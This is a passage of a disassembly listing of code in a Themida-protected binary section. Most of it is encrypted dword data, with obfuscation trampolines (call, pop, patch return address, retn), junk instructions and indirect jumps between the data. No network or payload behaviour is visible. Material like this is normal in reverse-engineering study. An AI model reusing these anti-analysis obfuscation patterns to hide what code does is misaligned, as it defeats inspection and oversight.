0C3504000h, 88AA21A4h dd 0EF816620h, 8D8B9FE4h, 614064Dh, 0FE9h, 1188B100h, 11BC0568h dd 0B3E12214h, 808BA33Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 0B70F5818h, 0F9BF0FFFh, 29ADBD83h, 0F000614h dd 9584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 85E7DA3Bh, 95CA4382h, 13E8CA0Dh dd 0DE000000h, 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh dd 0B85F11ACh, 0 ; --------------------------------------------------------------------------- mov ebx, 334D4BCDh lea ecx, [ebp+6144D79h] jnz loc_591DDD jmp loc_591DDD ; --------------------------------------------------------------------------- dw 7A83h dd 804D6034h, 76F86458h, 744B92Dh db 74h ; --------------------------------------------------------------------------- loc_591DDD: ; CODE XREF: Themida_:00591DC3j ; Themida_:00591DC9j jmp ecx ; --------------------------------------------------------------------------- push 0 push ecx call sub_591DEA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591DEA proc near ; CODE XREF: Themida_:00591DE2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_591DEA endp ; --------------------------------------------------------------------------- dw 0C162h dd 0CA276FFEh, 1C5C541h, 207D9D8Bh, 0BD830614h, 6142671h dd 3F840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 7605C351h, 71BD8370h dd 1061426h, 42F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 24DD07C3h, 6FBF6657h dd 71BD8381h, 3061426h, 3C9860Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0D49C86C3h dd 5CE4CAB0h, 0E960A4ABh, 10h, 6CF4E4E2h, 0E0B90171h, 0DD07536Bh dd 5C375724h, 8BD98C66h, 140BD1BDh, 4E18006h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 0C90AE3AAh dd 198840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 8F8623C3h, 2957D983h, 140D199Dh dd 69858B06h, 6A061419h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 66CDC352h, 6EAFE381h dd 1B818533h, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 4E294CC3h, 0A51E0E83h, 0FBF6650h dd 240489F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 69C35343h, 0BFAE33FFh, 798590B0h, 9589006Ah, 614198Dh dd 4E8h, 1F03FF00h, 6E96000h, 29000000h, 2D186079h, 0DE8DBh dd 7980000h, 0B5CB7F48h, 0D7E21451h, 0E84F2183h, 0Bh, 147985ECh dd 0AF25198Ah, 5BC2B03Ch, 0F50615Bh, 68Ah, 0BB665600h dd 8B5B2D0Bh, 0E9042444h, 11h, 982313AEh, 66BF1E88h, 0BED0E10h dd 8F5ED315h, 50008B4Bh, 0A8B4BB52h, 310F0DFFh, 6880Fh dd 860F0000h, 0 ; --------------------------------------------------------------------------- pop edx pop eax mov [esp+4], eax jmp loc_59201B ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- dec esi mov word ptr [esi], fs mov ah, cl retn ; --------------------------------------------------------------------------- dw 9E1Dh dd 76AACFC8h db 0EFh, 0DCh, 0F6h ; --------------------------------------------------------------------------- loc_59201B: ; CODE XREF: Themida_:00592006j pop eax push 0 push ebp call sub_592027 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592027 proc near ; CODE XREF: Themida_:0059201Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_592027 endp ; --------------------------------------------------------------------------- sub [ebx+142AB9BDh], ecx push es call dword ptr [ebp+61409ADh] mov [ebp+61431A5h], edx mov [ebp+617AA98h], eax push 0 push eax call sub_59205B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59205B proc near ; CODE XREF: Themida_:00592053p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_59205B endp ; --------------------------------------------------------------------------- db 1Ch ; --------------------------------------------------------------------------- jmp loc_59219A ; --------------------------------------------------------------------------- mov edi, edx mov bx, dx mov eax, [ebp+617AA90h] mov [ebp+6142661h], edx mov dword ptr [eax], 18h push 0 push esi call sub_592093 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592093 proc near ; CODE XREF: Themida_:0059208Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_592093 endp ; --------------------------------------------------------------------------- not byte ptr [ebx+ecx*4-4Bh] xchg eax, esp stosb pop ss push es push 0 push ebp call sub_5920B6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5920B6 proc near ; CODE XREF: Themida_:005920AEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5920B6 endp ; --------------------------------------------------------------------------- dw 3F13h dd 89E5EAF7h, 1420D9BDh, 29858B06h, 6006140Bh, 0ED5B589h dd 8D010614h, 61402DDh, 0B3068961h, 69858BBBh, 0F061419h dd 10E8FFB7h, 3A000000h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h dd 8B1538FCh, 46895FF9h, 0D5B50104h, 50061420h, 89F98B66h dd 10E82434h, 6A000000h, 581D2D12h, 3C5D26DBh, 6C53225Eh dd 8BDF6AC6h, 14081DBDh, 0CB805F06h, 90B5FF01h, 0BF0617AAh dd 29051AAAh, 23159D8Bh, 4E680614h, 500C3FA8h, 29BF6652h dd 0B3310FDBh, 81585A9Ch, 0ABB12434h, 8D310C20h, 61412D1h dd 0AA98858Dh, 0B5890617h, 61403C5h, 0F525050h, 681h, 0F525000h dd 0F585A31h, 3BBF6631h, 89585A67h, 85892404h, 6142615h dd 9AD95FFh ; --------------------------------------------------------------------------- adc al, 6 loc_59219A: ; CODE XREF: Themida_:0059206Cj popa pusha mov [ebp+61415FDh], edx popa mov dword ptr [ebp+6142671h], 3 push 0 push ebp loc_5921B0: ; DATA XREF: Themida_:0054B760o call sub_5921B8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5921B8 proc near ; CODE XREF: Themida_:loc_5921B0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5921B8 endp ; --------------------------------------------------------------------------- dd 7D19F2ACh, 0F0BF5831h, 98BD8396h, 617AAh, 5D840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 575803C3h, 40B9DF81h, 0E95B422Eh, 4Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 0A8C35141h, 8F0F39AFh dd 0Fh, 9E8h, 53575000h, 35AB9B73h, 505FA5EFh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 39AC03C3h, 68E0FF4h, 81000000h, 69ADBFEFh, 56006A01h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 77C54B2Eh, 0CDFB92A3h, 13E853h, 187E0000h, 696939EBh dd 9B2838B9h, 7EA68CCEh, 38BCB610h, 0FE855h, 67FC0000h dd 0B614C5D6h, 0CC96C448h, 0FCB21931h, 5B5F5BFFh, 0BD83DE8Bh dd 6142671h, 0A8850F03h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 51EAC357h dd 0AA98BD83h, 0F000617h, 37E84h, 0D9850100h, 0FF061423h dd 17AA98B5h, 5CBB6606h, 0F595FFCAh, 0E906142Ah, 12h, 62356433h dd 0DF11E99Fh, 796EEBA7h, 0E84B532Fh, 0B58B2D9Eh, 617AA8Ch dd 9E8h, 95B34600h, 6B19E8FCh, 0EE937DAh, 77000000h, 0DA37E577h dd 516A38DBh, 0FB4F9DE3h, 6C75FE8h, 10001h, 0C118D89h dd 0F500614h, 382h, 0DF8B6600h, 0E9243489h, 0Dh, 0A4C69E73h dd 44D31BF1h, 0EBA92081h, 98B5FF58h, 6A0617AAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 665DC356h, 95FFF88Bh, 6140B31h, 305DBD8Bh, 0B58B0614h dd 617AA8Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0D0C35040h, 0F152AE9Dh, 4E1E89F9h, 0D5858BAAh dd 81061421h, 0D236BCDFh, 89FC8A77h, 0C486h, 0DFBF0F00h dd 3229958Bh, 0B5090614h, 61423E1h, 0BB04C283h, 2F5E797Fh dd 0E9205089h, 12h, 63486B77h, 0AA1FA414h, 6DBAD566h, 0DD6BF4Eh dd 858DB20Dh, 617BE06h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0E8C35141h, 10E96CACh, 85BD890Bh, 89061416h dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0BB3A4924h, 0CB81A4CCh, 0ADD3BD0h dd 0BF66006Ah, 0B5FF11DDh, 617AA98h, 93995FFh, 89500614h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 9D23D6C3h, 6140C95h, 0AA98B5FFh, 6A0617h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B510BC3h, 141CA99Dh, 0F595FF06h, 0F061420h, 0F83h dd 9E800h, 0EBD80000h, 0D3AF8279h, 5FCC5898h, 0C21BD83h dd 0F000614h, 3484h, 96D98B00h, 56525050h, 0F5FDF8Bh, 5B575031h dd 96585A5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 10C35141h, 9158C319h, 98B5FF4Ah, 6A0617AAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 91E5C350h, 7178274Dh, 95FFEBD5h, 61402B1h, 0FF67DF80h dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 515F89C8h, 89EE061Eh, 141A21BDh dd 8195FF06h, 0F061430h, 0BD83F9B7h, 61409F5h, 87840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0D0BEC352h, 89578580h, 141FBD85h dd 858B5F06h, 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D7C35141h, 0C8AE73F8h, 4DBD8BFFh, 6006140Dh dd 15319529h, 8C0F0614h, 2, 0C661D98Bh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 6D98EEC3h, 85C7CD34h, 614244Dh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_59268F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59268F proc near ; CODE XREF: Themida_:00592687p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_59268F endp ; --------------------------------------------------------------------------- db 4Bh dd 0AE8h, 3EE50C00h, 0EE0B307Dh, 0E9672A0Fh, 8, 1184EAB4h dd 0D6E5742Ch, 6D85895Fh, 0E9061402h, 0FFFFF3E5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 85B52923h dd 8B061434h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0EDF0BCAEh, 92B5920Dh, 858D910Dh dd 6140F99h, 3840Fh, 0BF0F0000h, 0E96090FEh, 0Ah, 0F821921h dd 125F741Eh, 99BBE3F0h, 614A2345h, 49BB5350h, 5B23CBC9h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 6AF5F9D5h, 0D8B70F00h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 661818C3h, 0D1F9F381h, 9D37858Dh, 6A0618h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CA7045C3h dd 9D8BC5A4h, 6141C01h, 6A05C083h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F36DC357h dd 0BD8B4543h, 6141AA9h, 0FE95750h, 0EF000000h, 5961AA80h dd 0ACC1C05Bh, 0C18F3497h, 895F4661h, 80B32404h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0DA116AC3h, 0AC40B2F5h, 8A0F3104h, 6, 9298589h, 0C3810614h dd 262967B3h, 8D89006Ah, 6141725h, 1A7195FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 70B971C3h, 8D89259Eh, 6141A89h, 0A8FC8D8Dh, 81600617h dd 109140EAh, 0FF61F94Bh, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9CDFA8Dh dd 11h, 5952867Ch, 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0CDBD8346h dd 1061412h, 60850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 847D6AC3h, 26619D89h dd 26A0614h, 0BCC78166h, 13E950B1h, 0A1000000h, 0C0368D5Eh dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 48917FBh, 95FFF924h dd 6140939h, 1404BF66h, 0E9858960h, 8B061414h, 1400C185h dd 56E96106h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6189D41h push 0 push eax call sub_592932 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592932 proc near ; CODE XREF: Themida_:0059292Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_592932 endp ; --------------------------------------------------------------------------- add eax, edi ror byte ptr [ecx], 8Dh cdq sbb eax, 6A0614h push edx call sub_592956 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592956 proc near ; CODE XREF: Themida_:0059294Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_592956 endp ; --------------------------------------------------------------------------- dw 0C52Bh dd 75EC4617h, 9623858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 857FC2C3h, 0BF0F252Ah dd 0D88B50F9h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 2C4C356h, 66C8547Eh dd 0D3ECE781h, 35FF64h, 8B000000h, 1416DDBDh, 25896406h dd 0 ; --------------------------------------------------------------------------- mov bx, 2C9Ah inc dword ptr [ebp+614236Dh] push 0 push ebx call sub_5929E9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5929E9 proc near ; CODE XREF: Themida_:005929E1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5929E9 endp ; --------------------------------------------------------------------------- db 8Bh, 6Ch, 0BEh dd 37DCBEF5h, 10E94Bh, 0FBC0000h, 150E8828h, 4D246358h dd 558560FCh, 0FF6AED16h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0A1C35040h, 29D38166h, 1A8F0F98h, 0E8000000h dd 0Eh, 7775915h, 3C8EB3B1h, 94EB05E1h, 8D89131Eh, 61415C1h dd 4DB5FF5Fh, 6A06140Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 528BC351h, 82DE7EACh dd 38B0Fh, 0BF0F0000h, 1995FFDBh, 0E906142Bh, 110h, 0B0F8B70Fh dd 81853100h, 0E6061404h, 999D2370h, 6606141Ch, 921FEB81h dd 0B58971E4h, 61431CDh, 830F613Ch, 0E8h, 10EDBD8Bh, 0B60F0614h dd 0B800FC8h, 0E9000000h, 6, 0CA04EF2Eh, 6BA3F80h, 8B000000h dd 0FBF66C1h, 6D9D8B07h, 0C106141Dh, 0BD8B04E8h, 6141D05h dd 89E2F766h, 14170195h, 89C82B06h, 1408CDB5h, 0DD8D8906h dd 8B06142Ah, 10E8D1h, 0F4280000h, 0B2CBF600h, 0FF7040C6h dd 0ED7D1D30h, 0BB6649F8h, 0E95BC70Fh, 6, 34699D8Bh, 858B0614h dd 6141AB9h, 655BD8Bh, 0C0830614h, 0E9F6B307h, 10h, 1F686A8h dd 28EDEDD0h, 46A49D76h, 0E168DD23h, 0F00C083h, 189h, 0D03BFC00h dd 16830Fh, 95890000h, 61421B9h, 33E9h, 5296BF00h, 0BD894E45h dd 61403B1h, 2A058D8Bh, 0E1830614h, 19840F01h, 0FC000000h dd 2A05A583h, 1FE0614h, 14033D95h, 0B9958906h, 0E906141Ah dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6180450h] jl loc_592BB6 sub ebx, 3C31724Fh loc_592BB6: ; CODE XREF: Themida_:00592BAAj push 0 add [ebp+6141C39h], edi mov [ebp+6141BB9h], ebx call dword ptr [ebp+6141169h] push 0 push esi call sub_592BD5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592BD5 proc near ; CODE XREF: Themida_:00592BCDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_592BD5 endp ; --------------------------------------------------------------------------- db 9Eh, 5Bh, 4Fh dd 0B70FD769h, 7EAB9FBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 83CA23C3h, 8C0FFCE1h dd 3, 0FCD98B66h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0E36325A5h, 0B3D3F837h dd 0D22BFAF0h, 2E15BD8Bh, 33AD0614h, 3E8D1C2h, 4E983D0h dd 880FF475h, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F5E9104h, 58Dh, 7DAFBB00h dd 81662825h, 0D49B3EBh, 88h, 1FF19509h, 958B0614h, 6143229h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 12C35242h dd 53639528h, 0BB34373Fh, 697611F3h, 64D8D8Bh, 0BF0F0614h dd 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh dd 788h, 1870F00h, 0F5000000h, 1A219D23h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 724C33C3h, 69122ECAh, 3C381BCh, 8343CB59h, 1429ADBDh dd 840F0006h, 3Bh, 2229BD89h, 9D8B0614h, 6142D61h, 0B8h dd 11E900h, 0D3750000h, 0B526433Eh, 774C86CEh, 0D8CC0F20h dd 8DC0D843h, 144D798Dh, 0CD8D8906h, 0FF061423h, 0B1BD09E1h dd 83061416h, 142671BDh, 840F0006h, 41Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 0B765B8BAh dd 71BD83CCh, 1061426h, 40B840Fh, 0FE80000h, 3B000000h dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 8D895397h, 61414B1h dd 71BD835Fh, 3061426h, 3AD860Fh, 800F0000h, 5, 3CCB8166h dd 6A60AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0CF808DC3h, 0C99D8919h, 66061415h, 6AD98Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 107FE7C3h, 80FE8B66h, 0C90A04E1h, 0C2840Fh, 0FE8B0000h dd 1969858Bh, 0FA8B0614h, 1B818533h, 0F7800614h, 0DA8B50C9h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 2132C357h, 780E3568h, 89006A3Eh dd 141B2DBDh, 4E806h, 3FF0000h, 81B7001Fh, 0E8BF6650h dd 24448B56h, 0CE904h, 0F3B10000h, 0E2099767h, 28A5663Ah dd 8B227Eh, 66525053h, 0F9E00BFh, 747CBF31h, 585A6E0Dh dd 2444895Bh, 0F525004h, 0F311BB31h, 585A7C77h, 0AD95FF58h dd 31061409h, 14224DB5h, 98858906h, 0E90617AAh, 21Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6A436231h dd 0AA90858Bh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 68B72CC3h, 9FBB7D7Bh, 0C76EC035h dd 1800h, 13E95100h, 0E0000000h, 0C074CB6h, 0A008D39Fh dd 6C3AD078h, 97D7163Fh, 8B5F2EB9h, 17AA94B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B983AF72h, 0FE8BD6C2h, 0B29858Bh, 11E90614h, 0F0000000h dd 0F42E14FDh, 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 6A0689h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 64A48BC3h, 0C06F4194h, 0B30BCB95h, 69858BE1h, 6A061419h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 11B5C355h, 8EF0C7F3h, 0C9DE27C3h, 2E49BD8Bh dd 0E8600614h, 0Ah, 44331D16h, 645BFDE1h, 0B58B33DDh, 6142FADh dd 0A5858959h, 6106142Fh, 50044689h, 0DE85260h, 0CD000000h dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 52505958h, 310F6160h dd 310F5250h, 585A585Ah, 24348961h, 0B5FFA8B3h, 617AA90h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A3C35242h dd 602A6DDEh, 6890Fh, 95890000h, 61405C1h, 82008ABFh, 6B686128h dd 66EEBE25h, 481DE8Bh, 60DE9424h, 858DF811h, 617AA98h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 37C35747h dd 889955D6h, 8B6650C9h, 0E9505FD8h, 0Dh, 6FAD327Eh, 4DB56F9Ch dd 36F52603h, 24048978h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0F7C35646h, 477EC701h, 9D035227h, 614151Dh dd 5B1BD89h, 95FF0614h, 61409ADh, 1655BD8Bh, 1610614h dd 142C3585h, 7185C706h, 3061426h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8F07C351h, 763D57FAh, 0FB658A58h, 3141BD23h, 0BD830614h dd 617AA98h, 48840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ECE1C352h dd 110B099Eh, 3BE99409h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1A15C353h dd 5028B3EBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 5FF8B3C3h, 813DD8F6h, 8906E11Fh dd 1429B9B5h, 0BE806h, 0E3E80000h, 5429C2AAh, 5BC791Dh dd 14E958h, 0B8030000h, 4DC579B4h, 0F9AAC813h, 740C2E5Ch dd 94CBC005h, 835F1E3Eh, 142671BDh, 850F0306h, 4E5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h, 526A9B44h dd 54A652B5h, 98BD83F0h, 617AAh, 4B3840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E1A35CC3h, 0EC076C22h, 0B5FF8844h, 617AA98h, 2AF595FFh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0E53698C3h, 9F4D9940h, 0B58BFCEAh, 617AA8Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h dd 0EEFCB37Fh, 0E83848BAh, 14h, 9E6ACF88h, 8D46E6BFh, 70D8532Eh dd 6E81CA67h, 0AD2A1D37h, 0C75BF88Bh, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 592AC196h, 58CAAC9Eh, 92D78166h, 12E95084h, 41000000h dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 98037F50h, 24348968h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h dd 71CAB74Eh, 0F95B531h, 9D8B0614h, 614114Dh, 0AA98B5FFh dd 9D8B0617h, 6140EA1h, 0B3195FFh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F215C8C3h dd 0FC57B3C8h, 9E8h, 326BF100h, 0E7D04F8h, 0B70F7230h dd 0B5895BF9h, 6142071h, 0AA8CB58Bh, 6A0617h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 440032C3h dd 21BCB5DCh, 0E95528D2h, 6 dd 6A9B441Dh, 858BB552h, 61421D5h, 0C659D8Bh, 86890614h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 85C35242h, 148E954h, 0FE114632h, 29958B3Fh, 0BB061432h dd 58928F05h, 0F04C283h, 5089DFBFh, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 633BAEA4h dd 0EC5E1E99h, 4BDB531h, 8B660614h, 0DF8160FAh, 13FDCB7Bh dd 15519D8Bh, 8D610614h, 17BE0685h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0ECB6405Ch dd 9B520805h, 11E8h, 0DE684400h, 5A0B5CC4h, 8EC80718h dd 2A894D8Bh, 0BD8B6DD1h, 6141951h, 0FBBF0F5Fh, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 7A5E04C3h, 6A59A6C1h, 0C82BB00h, 0B5FF7B17h dd 617AA98h, 178D0Fh, 12E90000h, 36000000h, 7C1E87F0h dd 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 3995FF3Bh, 8B061409h dd 142B4D9Dh, 52505006h, 11E9h, 6FC4BF00h, 0BDAF8C0Dh dd 0D978BF10h, 9943272Eh, 310FC93Eh, 29CFBFBFh, 89585A20h dd 0FFF52434h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0E519CA6Fh dd 1A88B479h, 0FE882E0h, 5F000000h, 0DBB0ABF8h, 877E075Eh dd 0E5821F0Ch, 81669614h, 5FD8B4E3h, 7307E381h, 95FF3F86h dd 61420F5h, 28B0Fh, 0DEB30000h, 68A0Fh, 0B5890000h, 6140025h dd 0C21BD83h, 0F000614h, 1684h, 2CF78100h, 500AEE65h, 840Fh dd 34890000h, 1B50124h, 0FF061409h, 17AA98B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 1D8F0FF8h, 0E8000000h, 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh dd 0E6B1B0A1h, 8A0F10h, 5B000000h, 2B195FFh, 85890614h dd 6142B69h, 5820Fh, 81660000h, 0FF9E7EDBh, 17AA98B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 7840Fh, 66560000h dd 34EFD781h, 0DF8B665Fh, 308195FFh, 0BD8B0614h, 6142E2Dh dd 9F5BD83h, 0F020614h, 6384h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 848F31CAh dd 9D339C24h, 6141505h, 2D01858Bh, 0D7810614h, 751B01h dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 44FFC355h, 345900FDh, 0BA606099h dd 0D9CA9C5h, 61CA8B61h, 244D85C7h, 614h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0EE98CC3h, 82000000h, 5F741E0Fh, 32E3F012h, 0B2A89780h dd 0F300E955h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 314C37C3h, 1434F5B5h, 6AC18B06h dd 3E85300h, 20000000h, 